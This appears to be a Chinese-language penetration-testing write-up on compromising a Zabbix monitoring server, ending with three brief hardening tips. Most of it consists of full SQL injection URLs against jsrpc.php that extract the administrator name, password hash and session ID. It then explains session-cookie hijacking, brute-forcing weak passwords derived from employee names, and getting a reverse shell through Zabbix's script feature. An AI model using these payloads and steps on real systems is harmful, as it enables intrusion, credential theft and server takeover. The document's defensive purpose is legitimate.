zabbix服務開放埠為10051,瀏覽器訪問http://IP/zabbix進行配置即可訪問zabbix的前臺頁面。

漏洞利用：

1、sql注入漏洞探測:

在攻擊機訪問的zabbix的地址後面加上如下url：

/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&tim
estamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=hi
story.php&profileIdx=web.item.graph&profileIdx2=2'3297&updateProfil
e=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=
17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&
mark_color=1
 

輸出結果，若包含：You have an error in your SQL syntax;表示漏洞存在。

如果不行可以利用jsrpc的profileIdx2引數sql注入，具體操作如下：

jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=profileldx2=(select%201%20from%20(select%20count(*),concat((select(select%20concat(cast(concat(0x7e,name,0x7e)%20as%20char),0x7e))%20from%20zabbix.users%20LIMIT%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype
 

獲取密碼:

jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=profileldx2=(select%201%20from%20(select%20count(*),concat((select(select%20concat(cast(concat(0x7e,passwd,0x7e)%20as%20char),0x7e))%20from%20zabbix.users%20LIMIT%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17
 

獲取sessionid:

http://192.168.10.131/zabbix/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=profileldx2=(select%201%20from%20(select%20count(*),concat((select(select%20concat(cast(concat(0x7e,sessionid,0x7e)%20as%20char),0x7e))%20from%20zabbix.sessions%20LIMIT%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17

使用者名稱密碼及sessionid值都已得到，可以先對密碼md5解密，解密成功可直接進入後臺。解密不成功可以用sessionid值進行Cookie欺騙替換zbx_sessionid即可成功以administrator登陸。這裡利用Cookie欺騙進行測試，經過御劍掃描發現setup.php頁面，但是沒有許可權登陸。

我們把這個頁面的zbx_sessionid替換成注入出來的sessionid值,重新整理後即可看到安裝頁面。

此時再次訪問http://192.168.10.131/zabbix/，即可成功進入後臺。

以上這一波操作都是借鑑某個大佬的，我自己其實沒有復現，因為沒有發現sql注入的漏洞；再此記錄一下，以防後面有跡可循。

接下來是我自己的一波操作：

2、弱口令爆破：

zabbix 預設賬戶Admin密碼zabbix，嘗試爆破了一輪沒有成功，還有一個預設賬戶：guest，這個賬號是沒有密碼的，於是登入進去，這個賬號許可權較小，不能建立scrpt。

於是用內部員工的姓名賬號進行一波弱口令爆破，很幸運的爆出來了一個弱口令賬戶還是管理員的許可權；

接下來就利用此賬號登入zabbix，進行反彈shell操作了：

（1）點選： 管理>指令碼>建立指令碼

（2）新增反彈shell的指令碼：

（3）執行指令碼進行反彈shell：

在執行shell之前，先在本機上監聽8887埠，執行shell成功之後會有shell反彈回來：

至此，已經成功入侵到伺服器了。

zabbix安全加固

下面說一下如何對zabbix安全加固，防止這種情況發生：

1、很重要的一點，zabbix的登入口令一定要複雜，不要用預設口令或弱口令，禁用guest登入功能；

2、zabbix的server和agent都不要以root啟動，不要設定AllowRoot=1；

3、禁止agent執行system.run，不要設定EnableRemoteCommands=1。